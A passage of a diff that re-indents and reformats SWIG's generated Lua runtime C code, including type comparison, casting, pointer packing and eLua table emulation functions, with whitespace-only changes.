*next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -398,13 +398,13 @@ typedef struct swig_module_info { */ SWIGRUNTIME int SWIG_TypeNameComp(const char *f1, const char *l1, - const char *f2, const char *l2) { - for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) { - while ((*f1 == ' ') && (f1 != l1)) ++f1; - while ((*f2 == ' ') && (f2 != l2)) ++f2; - if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; - } - return (int)((l1 - f1) - (l2 - f2)); + const char *f2, const char *l2) { + for (; (f1 != l1) && (f2 != l2); ++f1, ++f2) { + while ((*f1 == ' ') && (f1 != l1)) ++f1; + while ((*f2 == ' ') && (f2 != l2)) ++f2; + if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; + } + return (int)((l1 - f1) - (l2 - f2)); } /* @@ -413,17 +413,17 @@ SWIG_TypeNameComp(const char *f1, const char *l1, */ SWIGRUNTIME int SWIG_TypeCmp(const char *nb, const char *tb) { - int equiv = 1; - const char* te = tb + strlen(tb); - const char* ne = nb; - while (equiv != 0 && *ne) { - for (nb = ne; *ne; ++ne) { - if (*ne == '|') break; + int equiv = 1; + const char *te = tb + strlen(tb); + const char *ne = nb; + while (equiv != 0 && *ne) { + for (nb = ne; *ne; ++ne) { + if (*ne == '|') break; + } + equiv = SWIG_TypeNameComp(nb, ne, tb, te); + if (*ne) ++ne; } - equiv = SWIG_TypeNameComp(nb, ne, tb, te); - if (*ne) ++ne; - } - return equiv; + return equiv; } /* @@ -432,7 +432,7 @@ SWIG_TypeCmp(const char *nb, const char *tb) { */ SWIGRUNTIME int SWIG_TypeEquiv(const char *nb, const char *tb) { - return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; + return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; } /* @@ -440,26 +440,26 @@ SWIG_TypeEquiv(const char *nb, const char *tb) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheck(const char *c, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (strcmp(iter->type->name, c) == 0) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (strcmp(iter->type->name, c) == 0) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; + } } - } - return 0; + return 0; } /* @@ -467,26 +467,26 @@ SWIG_TypeCheck(const char *c, swig_type_info *ty) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (iter->type == from) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (iter->type == from) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; + } } - } - return 0; + return 0; } /* @@ -494,7 +494,7 @@ SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { */ SWIGRUNTIMEINLINE void * SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { - return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); + return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); } /* @@ -502,13 +502,13 @@ SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { */ SWIGRUNTIME swig_type_info * SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { - swig_type_info *lastty = ty; - if (!ty || !ty->dcast) return ty; - while (ty && (ty->dcast)) { - ty = (*ty->dcast)(ptr); - if (ty) lastty = ty; - } - return lastty; + swig_type_info *lastty = ty; + if (!ty || !ty->dcast) return ty; + while (ty && (ty->dcast)) { + ty = (*ty->dcast)(ptr); + if (ty) lastty = ty; + } + return lastty; } /* @@ -516,7 +516,7 @@ SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { */ SWIGRUNTIMEINLINE const char * SWIG_TypeName(const swig_type_info *ty) { - return ty->name; + return ty->name; } /* @@ -525,20 +525,19 @@ SWIG_TypeName(const swig_type_info *ty) { */ SWIGRUNTIME const char * SWIG_TypePrettyName(const swig_type_info *type) { - /* The "str" field contains the equivalent pretty names of the - type, separated by vertical-bar characters. Choose the last - name. It should be the most specific; a fully resolved name - but not necessarily with default template parameters expanded. */ - if (!type) return NULL; - if (type->str != NULL) { - const char *last_name = type->str; - const char *s; - for (s = type->str; *s; s++) - if (*s == '|') last_name = s+1; - return last_name; - } - else - return type->name; + /* The "str" field contains the equivalent pretty names of the + type, separated by vertical-bar characters. Choose the last + name. It should be the most specific; a fully resolved name + but not necessarily with default template parameters expanded. */ + if (!type) return NULL; + if (type->str != NULL) { + const char *last_name = type->str; + const char *s; + for (s = type->str; *s; s++) + if (*s == '|') last_name = s + 1; + return last_name; + } else + return type->name; } /* @@ -546,24 +545,24 @@ SWIG_TypePrettyName(const swig_type_info *type) { */ SWIGRUNTIME void SWIG_TypeClientData(swig_type_info *ti, void *clientdata) { - swig_cast_info *cast = ti->cast; - /* if (ti->clientdata == clientdata) return; */ - ti->clientdata = clientdata; + swig_cast_info *cast = ti->cast; + /* if (ti->clientdata == clientdata) return; */ + ti->clientdata = clientdata; - while (cast) { - if (!cast->converter) { - swig_type_info *tc = cast->type; - if (!tc->clientdata) { - SWIG_TypeClientData(tc, clientdata); - } + while (cast) { + if (!cast->converter) { + swig_type_info *tc = cast->type; + if (!tc->clientdata) { + SWIG_TypeClientData(tc, clientdata); + } + } + cast = cast->next; } - cast = cast->next; - } } SWIGRUNTIME void SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { - SWIG_TypeClientData(ti, clientdata); - ti->owndata = 1; + SWIG_TypeClientData(ti, clientdata); + ti->owndata = 1; } /* @@ -577,37 +576,37 @@ SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { SWIGRUNTIME swig_type_info * SWIG_MangledTypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - swig_module_info *iter = start; - do { - if (iter->size) { - size_t l = 0; - size_t r = iter->size - 1; - do { - /* since l+r >= 0, we can (>> 1) instead (/ 2) */ - size_t i = (l + r) >> 1; - const char *iname = iter->types[i]->name; - if (iname) { - int compare = strcmp(name, iname); - if (compare == 0) { - return iter->types[i]; - } else if (compare < 0) { - if (i) { - r = i - 1; - } else { - break; - } - } else if (compare > 0) { - l = i + 1; - } - } else { - break; /* should never happen */ - } - } while (l <= r); - } - iter = iter->next; - } while (iter != end); - return 0; + const char *name) { + swig_module_info *iter = start; + do { + if (iter->size) { + size_t l = 0; + size_t r = iter->size - 1; + do { + /* since l+r >= 0, we can (>> 1) instead (/ 2) */ + size_t i = (l + r) >> 1; + const char *iname = iter->types[i]->name; + if (iname) { + int compare = strcmp(name, iname); + if (compare == 0) { + return iter->types[i]; + } else if (compare < 0) { + if (i) { + r = i - 1; + } else { + break; + } + } else if (compare > 0) { + l = i + 1; + } + } else { + break; /* should never happen */ + } + } while (l <= r); + } + iter = iter->next; + } while (iter != end); + return 0; } /* @@ -622,27 +621,27 @@ SWIG_MangledTypeQueryModule(swig_module_info *start, SWIGRUNTIME swig_type_info * SWIG_TypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - /* STEP 1: Search the name field using binary search */ - swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); - if (ret) { - return ret; - } else { - /* STEP 2: If the type hasn't been found, do a complete search - of the str field (the human readable name) */ - swig_module_info *iter = start; - do { - size_t i = 0; - for (; i < iter->size; ++i) { - if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) - return iter->types[i]; - } - iter = iter->next; - } while (iter != end); - } + const char *name) { + /* STEP 1: Search the name field using binary search */ + swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); + if (ret) { + return ret; + } else { + /* STEP 2: If the type hasn't been found, do a complete search + of the str field (the human readable name) */ + swig_module_info *iter = start; + do { + size_t i = 0; + for (; i < iter->size; ++i) { + if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) + return iter->types[i]; + } + iter = iter->next; + } while (iter != end); + } - /* neither found a match */ - return 0; + /* neither found a match */ + return 0; } /* @@ -650,15 +649,15 @@ SWIG_TypeQueryModule(swig_module_info *start, */ SWIGRUNTIME char * SWIG_PackData(char *c, void *ptr, size_t sz) { - static const char hex[17] = "0123456789abcdef"; - const unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - unsigned char uu = *u; - *(c++) = hex[(uu & 0xf0) >> 4]; - *(c++) = hex[uu & 0xf]; - } - return c; + static const char hex[17] = "0123456789abcdef"; + const unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + unsigned char uu = *u; + *(c++) = hex[(uu & 0xf0) >> 4]; + *(c++) = hex[uu & 0xf]; + } + return c; } /* @@ -666,27 +665,27 @@ SWIG_PackData(char *c, void *ptr, size_t sz) { */ SWIGRUNTIME const char * SWIG_UnpackData(const char *c, void *ptr, size_t sz) { - unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - char d = *(c++); - unsigned char uu; - if ((d >= '0') && (d <= '9')) - uu = (unsigned char)((d - '0') << 4); - else if ((d >= 'a') && (d <= 'f')) - uu = (unsigned char)((d - ('a'-10)) << 4); - else - return (char *) 0; - d = *(c++); - if ((d >= '0') && (d <= '9')) - uu |= (unsigned char)(d - '0'); - else if ((d >= 'a') && (d <= 'f')) - uu |= (unsigned char)(d - ('a'-10)); - else - return (char *) 0; - *u = uu; - } - return c; + unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + char d = *(c++); + unsigned char uu; + if ((d >= '0') && (d <= '9')) + uu = (unsigned char)((d - '0') << 4); + else if ((d >= 'a') && (d <= 'f')) + uu = (unsigned char)((d - ('a' - 10)) << 4); + else + return (char *) 0; + d = *(c++); + if ((d >= '0') && (d <= '9')) + uu |= (unsigned char)(d - '0'); + else if ((d >= 'a') && (d <= 'f')) + uu |= (unsigned char)(d - ('a' - 10)); + else + return (char *) 0; + *u = uu; + } + return c; } /* @@ -694,54 +693,54 @@ SWIG_UnpackData(const char *c, void *ptr, size_t sz) { */ SWIGRUNTIME char * SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) { - char *r = buff; - if ((2*sizeof(void *) + 2) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r,&ptr,sizeof(void *)); - if (strlen(name) + 1 > (bsz - (r - buff))) return 0; - strcpy(r,name); - return buff; + char *r = buff; + if ((2 * sizeof(void *) + 2) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r, &ptr, sizeof(void *)); + if (strlen(name) + 1 > (bsz - (r - buff))) return 0; + strcpy(r, name); + return buff; } SWIGRUNTIME const char * SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) { - if (*c != '_') { - if (strcmp(c,"NULL") == 0) { - *ptr = (void *) 0; - return name; - } else { - return 0; + if (*c != '_') { + if (strcmp(c, "NULL") == 0) { + *ptr = (void *) 0; + return name; + } else { + return 0; + } } - } - return SWIG_UnpackData(++c,ptr,sizeof(void *)); + return SWIG_UnpackData(++c, ptr, sizeof(void *)); } SWIGRUNTIME char * SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) { - char *r = buff; - size_t lname = (name ? strlen(name) : 0); - if ((2*sz + 2 + lname) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r,ptr,sz); - if (lname) { - strncpy(r,name,lname+1); - } else { - *r = 0; - } - return buff; + char *r = buff; + size_t lname = (name ? strlen(name) : 0); + if ((2 * sz + 2 + lname) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r, ptr, sz); + if (lname) { + strncpy(r, name, lname + 1); + } else { + *r = 0; + } + return buff; } SWIGRUNTIME const char * SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { - if (*c != '_') { - if (strcmp(c,"NULL") == 0) { - memset(ptr,0,sz); - return name; - } else { - return 0; + if (*c != '_') { + if (strcmp(c, "NULL") == 0) { + memset(ptr, 0, sz); + return name; + } else { + return 0; + } } - } - return SWIG_UnpackData(++c,ptr,sz); + return SWIG_UnpackData(++c, ptr, sz); } #ifdef __cplusplus @@ -798,32 +797,32 @@ extern "C" { struct swig_elua_entry; typedef struct swig_elua_key { - int type; - union { - const char* strkey; - lua_Number numkey; - } key; + int type; + union { + const char *strkey; + lua_Number numkey; + } key; } swig_elua_key; typedef struct swig_elua_val { - int type; - union { - lua_Number number; - const struct swig_elua_entry *table; - const char *string; - lua_CFunction function; - struct { - char member; - long lvalue; - void *pvalue; - swig_type_info **ptype; - } userdata; - } value; + int type; + union { + lua_Number number; + const struct swig_elua_entry *table; + const char *string; + lua_CFunction function; + struct { + char member; + long lvalue; + void *pvalue; + swig_type_info **ptype; + } userdata; + } value; } swig_elua_val; typedef struct swig_elua_entry { - swig_elua_key key; - swig_elua_val value; + swig_elua_key key; + swig_elua_val value; } swig_elua_entry; #define LSTRKEY(x) {LUA_TSTRING, {.strkey = x} } @@ -857,7 +856,7 @@ typedef struct swig_elua_entry { # define SWIG_LUA_CONSTTAB_FLOAT(B, C) LSTRKEY(B), LNUMVAL(C) # define SWIG_LUA_CONSTTAB_STRING(B, C) LSTRKEY(B), LSTRVAL(C) # define SWIG_LUA_CONSTTAB_CHAR(B, C) LSTRKEY(B), LNUMVAL(C) - /* Those two types of constants are not supported in elua */ +/* Those two types of constants are not supported in elua */ #ifndef SWIG_LUA_CONSTTAB_POINTER #warning eLua does not support pointers as constants. By default, nil will be used as value @@ -921,11 +920,11 @@ typedef struct swig_elua_entry { we provide a compatibility implementation for Lua 5.0. */ #if !defined(LUA_VERSION_NUM) || LUA_VERSION_NUM < 501 static const char *(lua_tolstring)(lua_State *L, int idx, size_t *len) { - /* Call lua_tostring() first as it may convert the value from number to - string. */ - const char *result = lua_tostring(L, idx); - if (len) *len = lua_strlen(L, idx); - return result; + /* Call lua_tostring() first as it may convert the value from number to + string. */ + const char *result = lua_tostring(L, idx); + if (len) *len = lua_strlen(L, idx); + return result; } #endif @@ -963,25 +962,23 @@ static const char *(lua_tolstring)(lua_State *L, int idx, size_t *len) { prefixed with the location of the innermost Lua call-point (as formatted by luaL_where). */ SWIGRUNTIME void -SWIG_Lua_pusherrstring (lua_State *L, const char *str) -{ - luaL_where (L, 1); - lua_pushstring (L, str); - lua_concat (L, 2); +SWIG_Lua_pusherrstring(lua_State *L, const char *str) { + luaL_where(L, 1); + lua_pushstring(L, str); + lua_concat(L, 2); } /* Push a formatted string generated from FMT and following args on the Lua stack, like lua_pushfstring, but prefixed with the location of the innermost Lua call-point (as formatted by luaL_where). */ SWIGRUNTIME void -SWIG_Lua_pushferrstring (lua_State *L, const char *fmt, ...) -{ - va_list argp; - va_start(argp, fmt); - luaL_where(L, 1); - lua_pushvfstring(L, fmt, argp); - va_end(argp); - lua_concat(L, 2); +SWIG_Lua_pushferrstring(lua_State *L, const char *fmt, ...) { + va_list argp; + va_start(argp, fmt); + luaL_where(L, 1); + lua_pushvfstring(L, fmt, argp); + va_end(argp); + lua_concat(L, 2); } @@ -998,9 +995,9 @@ SWIG_Lua_pushferrstring (lua_State *L, const char *fmt, ...) /* Structure for variable linking table */ typedef struct { - const char *name; - lua_CFunction get; - lua_CFunction set; + const char *name; + lua_CFunction get; + lua_CFunction set; } swig_lua_var_info; #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) @@ -1022,43 +1019,43 @@ typedef struct { #endif typedef struct { - const char *name; - lua_CFunction getmethod; - lua_CFunction setmethod; + const char *name; + lua_CFunction getmethod; + lua_CFunction setmethod; } swig_lua_attribute; struct swig_lua_class; /* Can be used to create namespaces. Currently used to wrap class static methods/variables/constants */ typedef struct swig_lua_namespace { - const char *name; - swig_lua_method *ns_methods; - swig_lua_attribute *ns_attributes; - swig_lua_const_info *ns_constants; - struct swig_lua_class **ns_classes; - struct swig_lua_namespace **ns_namespaces; + const char *name; + swig_lua_method *ns_methods; + swig_lua_attribute *ns_attributes; + swig_lua_const_info *ns_constants; + struct swig_lua_class **ns_classes; + struct swig_lua_namespace **ns_namespaces; } swig_lua_namespace; typedef struct swig_lua_class { - const char *name; /* Name that this class has in Lua */ - const char *fqname; /* Fully qualified name - Scope + class name */ - swig_type_info **type; - lua_CFunction constructor; - void (*destructor)(void *); - swig_lua_method *methods; - swig_lua_attribute *attributes; - swig_lua_namespace *cls_static; - swig_lua_method *metatable; /* 0 for -eluac */ - struct swig_lua_class **bases; - const char **base_names; + const char *name; /* Name that this class has in Lua */ + const char *fqname; /* Fully qualified name - Scope + class name */ + swig_type_info **type; + lua_CFunction constructor; + void (*destructor)(void *); + swig_lua_method *methods; + swig_lua_attribute *attributes; + swig_lua_namespace *cls_static; + swig_lua_method *metatable; /* 0 for -eluac */ + struct swig_lua_class **bases; + const char **base_names; } swig_lua_class; /* this is the struct for wrapping all pointers in SwigLua */ typedef struct { - swig_type_info *type; - int own; /* 1 if owned & must be destroyed */ - void *ptr; + swig_type_info *type; + int own; /* 1 if owned & must be destroyed */ + void *ptr; } swig_lua_userdata; /* this is the struct for wrapping arbitrary packed binary data @@ -1067,9 +1064,9 @@ the data ordering is similar to swig_lua_userdata, but it is currently not possi to tell the two structures apart within SWIG, other than by looking at the type */ typedef struct { - swig_type_info *type; - int own; /* 1 if owned & must be destroyed */ - char data[1]; /* arbitrary amount of data */ + swig_type_info *type; + int own; /* 1 if owned & must be destroyed */ + char data[1]; /* arbitrary amount of data */ } swig_lua_rawdata; /* Common SWIG API */ @@ -1129,21 +1126,21 @@ it gets the address, casts it, then dereferences it */ /* storing/access of swig_module_info */ SWIGRUNTIME swig_module_info * SWIG_Lua_GetModule(lua_State *L) { - swig_module_info *ret = 0; - lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); - lua_rawget(L,LUA_REGISTRYINDEX); - if (lua_islightuserdata(L,-1)) - ret=(swig_module_info*)lua_touserdata(L,-1); - lua_pop(L,1); /* tidy */ - return ret; + swig_module_info *ret = 0; + lua_pushstring(L, "swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); + lua_rawget(L, LUA_REGISTRYINDEX); + if (lua_islightuserdata(L, -1)) + ret = (swig_module_info *)lua_touserdata(L, -1); + lua_pop(L, 1); /* tidy */ + return ret; } SWIGRUNTIME void SWIG_Lua_SetModule(lua_State *L, swig_module_info *module) { - /* add this all into the Lua registry: */ - lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); - lua_pushlightuserdata(L,(void*)module); - lua_rawset(L,LUA_REGISTRYINDEX); + /* add this all into the Lua registry: */ + lua_pushstring(L, "swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); + lua_pushlightuserdata(L, (void *)module); + lua_rawset(L, LUA_REGISTRYINDEX); } /* ----------------------------------------------------------------------------- @@ -1153,153 +1150,147 @@ SWIG_Lua_SetModule(lua_State *L, swig_module_info *module) { /* this function is called when trying to set an immutable. default action is to print an error. This can removed with a compile flag SWIGLUA_IGNORE_SET_IMMUTABLE */ -SWIGINTERN int SWIG_Lua_set_immutable(lua_State *L) -{ -/* there should be 1 param passed in: the new value */ +SWIGINTERN int SWIG_Lua_set_immutable(lua_State *L) { + /* there should be 1 param passed in: the new value */ #ifndef SWIGLUA_IGNORE_SET_IMMUTABLE - lua_pop(L,1); /* remove it */ - luaL_error(L,"This variable is immutable"); + lua_pop(L, 1); /* remove it */ + luaL_error(L, "This variable is immutable"); #endif return 0; /* should not return anything */ } #ifdef SWIG_LUA_ELUA_EMULATE -SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L,void *ptr,swig_type_info *type, int own); -SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L,void *ptr,size_t size,swig_type_info *type); +SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L, void *ptr, swig_type_info *type, int own); +SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L, void *ptr, size_t size, swig_type_info *type); static int swig_lua_elua_emulate_unique_key; /* This function emulates eLua rotables behaviour. It loads a rotable definition into the usual lua table. */ -SWIGINTERN void SWIG_Lua_elua_emulate_register(lua_State *L, const swig_elua_entry *table) -{ - int i, table_parsed, parsed_tables_array, target_table; - assert(lua_istable(L,-1)); - target_table = lua_gettop(L); - /* Get the registry where we put all parsed tables to avoid loops */ - lua_rawgetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); - if(lua_isnil(L,-1)) { - lua_pop(L,1); - lua_newtable(L); - lua_pushvalue(L,-1); - lua_rawsetp(L,LUA_REGISTRYINDEX,(void*)(&swig_lua_elua_emulate_unique_key)); - } - parsed_tables_array = lua_gettop(L); - lua_pushvalue(L,target_table); - lua_rawsetp(L, parsed_tables_array, table); - table_parsed = 0; - const int SWIGUNUSED pairs_start = lua_gettop(L); - for(i = 0;table[i].key.type != LUA_TNIL || table[i].value.type != LUA_TNIL;i++) - { - const swig_elua_entry *entry = table + i; - int is_metatable = 0; - switch(entry->key.type) { - case LUA_TSTRING: - lua_pushstring(L,entry->key.key.strkey); - if(strcmp(entry->key.key.strkey, SWIG_LUA_ELUA_EMUL_METATABLE_KEY) == 0) - is_metatable = 1; - break; - case LUA_TNUMBER: - lua_pushnumber(L,entry->key.key.numkey); - break; - case LUA_TNIL: - lua_pushnil(L); - break; - default: - assert(0); +SWIGINTERN void SWIG_Lua_elua_emulate_register(lua_State *L, const swig_elua_entry *table) { + int i, table_parsed, parsed_tables_array, target_table; + assert(lua_istable(L, -1)); + target_table = lua_gettop(L); + /* Get the registry where we put all parsed tables to avoid loops */ + lua_rawgetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); + if (lua_isnil(L, -1)) { + lua_pop(L, 1); + lua_newtable(L); + lua_pushvalue(L, -1); + lua_rawsetp(L, LUA_REGISTRYINDEX, (void *)(&swig_lua_elua_emulate_unique_key)); } - switch(entry->value.type) { - case LUA_TSTRING: - lua_pushstring(L,entry->value.value.string); - break; - case LUA_TNUMBER: - lua_pushnumber(L,entry->value.value.number); - break; - case LUA_TFUNCTION: - lua_pushcfunction(L,entry->value.value.function); - break; - case LUA_TTABLE: - lua_rawgetp(L,parsed_tables_array, entry->value.value.table); - table_parsed = !lua_isnil(L,-1); - if(!table_parsed) { - lua_pop(L,1); /*remove nil */ - lua_newtable(L); - SWIG_Lua_elua_emulate_register(L,entry->value.value.table); - } - if(is_metatable) { - assert(lua_istable(L,-1)); - lua_pushvalue(L,-1); - lua_setmetatable(L,target_table); + parsed_tables_array = lua_gettop(L); + lua_pushvalue(L, target_table); + lua_rawsetp(L, parsed_tables_array, table); + table_parsed = 0; + const int SWIGUNUSED pairs_start = lua_gettop(L); + for (i = 0; table[i].key.type != LUA_TNIL || table[i].value.type != LUA_TNIL; i++) { + const swig_elua_entry *entry = table + i; + int is_metatable = 0; + switch (entry->key.type) { + case LUA_TSTRING: + lua_pushstring(L, entry->key.key.strkey); + if (strcmp(entry->key.key.strkey, SWIG_LUA_ELUA_EMUL_METATABLE_KEY) == 0) + is_metatable = 1; + break; + case LUA_TNUMBER: + lua_pushnumber(L, entry->key.key.numkey); + break; + case LUA_TNIL: + lua_pushnil(L); + break; + default: + assert(0); } + switch (entry->value.type) { + case LUA_TSTRING: + lua_pushstring(L, entry->value.value.string); + break; + case LUA_TNUMBER: + lua_pushnumber(L, entry->value.value.number); + break; + case LUA_TFUNCTION: + lua_pushcfunction(L, entry->value.value.function); + break; + case LUA_TTABLE: + lua_rawgetp(L, parsed_tables_array, entry->value.value.table); + table_parsed = !lua_isnil(L, -1); + if (!table_parsed) { + lua_pop(L, 1); /*remove nil */ + lua_newtable(L); + SWIG_Lua_elua_emulate_register(L, entry->value.value.table); + } + if (is_metatable) { + assert(lua_istable(L, -1)); + lua_pushvalue(L, -1); + lua_setmetatable(L, target_table); + } - break; - case LUA_TUSERDATA: - if(entry->value.value.userdata.member) - SWIG_NewMemberObj(L,entry->value.value.userdata.pvalue, - entry->value.value.userdata.lvalue, - *(entry->value.value.userdata.ptype)); - else - SWIG_NewPointerObj(L,entry->value.value.userdata.pvalue, - *(entry->value.value.userdata.ptype),0); - break; - case LUA_TNIL: - lua_pushnil(L); - break; - default: - assert(0); + break; + case LUA_TUSERDATA: + if (entry->value.value.userdata.member) + SWIG_NewMemberObj(L, entry->value.value.userdata.pvalue, + entry->value.value.userdata.lvalue, + *(entry->value.value.userdata.ptype)); + else + SWIG_NewPointerObj(L, entry->value.value.userdata.pvalue, + *(entry->value.value.userdata.ptype), 0); + break; + case LUA_TNIL: + lua_pushnil(L); + break; + default: + assert(0); + } + assert(lua_gettop(L) == pairs_start + 2); + lua_rawset(L, target_table); } - assert(lua_gettop(L) == pairs_start + 2); - lua_rawset(L,target_table); - } - lua_pop(L,1); /* Removing parsed tables storage */ - assert(lua_gettop(L) == target_table); + lua_pop(L, 1); /* Removing parsed tables storage */ + assert(lua_gettop(L) == target_table); } -SWIGINTERN void SWIG_Lua_elua_emulate_register_clear(lua_State *L) -{ - lua_pushnil(L); - lua_rawsetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); +SWIGINTERN void SWIG_Lua_elua_emulate_register_clear(lua_State *L) { + lua_pushnil(L); + lua_rawsetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); } SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L); -SWIGINTERN int SWIG_Lua_emulate_elua_getmetatable(lua_State *L) -{ - SWIG_check_num_args("getmetatable(SWIG eLua emulation)", 1, 1); - SWIG_Lua_get_class_registry(L); - lua_getfield(L,-1,"lua_getmetatable"); - lua_remove(L,-2); /* remove the registry*/ - assert(!lua_isnil(L,-1)); - lua_pushvalue(L,1); - assert(lua_gettop(L) == 3); /* object | function | object again */ - lua_call(L,1,1); - if(!lua_isnil(L,-1)) /*There is an ordinary metatable */ +SWIGINTERN int SWIG_Lua_emulate_elua_getmetatable(lua_State *L) { + SWIG_check_num_args("getmetatable(SWIG eLua emulation)", 1, 1); + SWIG_Lua_get_class_registry(L); + lua_getfield(L, -1, "lua_getmetatable"); + lua_remove(L, -2); /* remove the registry*/ + assert(!lua_isnil(L, -1)); + lua_pushvalue(L, 1); + assert(lua_gettop(L) == 3); /* object | function | object again */ + lua_call(L, 1, 1); + if (!lua_isnil(L, -1)) /*There is an ordinary metatable */ + return 1; + /*if it is a table, then emulate elua behaviour - check for __metatable attribute of a table*/ + assert(lua_gettop(L) == 2); + if (lua_istable(L, -2)) { + lua_pop(L, 1); /*remove the nil*/ + lua_getfield(L, -1, SWIG_LUA_ELUA_EMUL_METATABLE_KEY); + } + assert(lua_gettop(L) == 2); return 1; - /*if it is a table, then emulate elua behaviour - check for __metatable attribute of a table*/ - assert(lua_gettop(L) == 2); - if(lua_istable(L,-2)) { - lua_pop(L,1); /*remove the nil*/ - lua_getfield(L,-1, SWIG_LUA_ELUA_EMUL_METATABLE_KEY); - } - assert(lua_gettop(L) == 2); - return 1; fail: - lua_error(L); - return 0; + lua_error(L); + return 0; } -SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) -{ - SWIG_Lua_get_class_registry(L); - lua_pushglobaltable(L); - lua_pushstring(L,"lua_getmetatable"); - lua_getfield(L,-2,"getmetatable"); - assert(!lua_isnil(L,-1)); - lua_rawset(L,-4); - lua_pushstring(L, "getmetatable"); - lua_pushcfunction(L, SWIG_Lua_emulate_elua_getmetatable); - lua_rawset(L,-3); - lua_pop(L,2); +SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) { + SWIG_Lua_get_class_registry(L); + lua_pushglobaltable(L); + lua_pushstring(L, "lua_getmetatable"); + lua_getfield(L, -2, "getmetatable"); + assert(!lua_isnil(L, -1)); + lua_rawset(L, -4); + lua_pushstring(L, "getmetatable"); + lua_pushcfunction(L, SWIG_Lua_emulate_elua_getmetatable); + lua_rawset(L, -3); + lua_pop(L, 2); } /* END OF REMOVE */ @@ -1309,120 +1300,115 @@ SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) * global variable support code: namespaces and modules (which are the same thing) * ----------------------------------------------------------------------------- */ -SWIGINTERN int SWIG_Lua_namespace_get(lua_State *L) -{ -/* 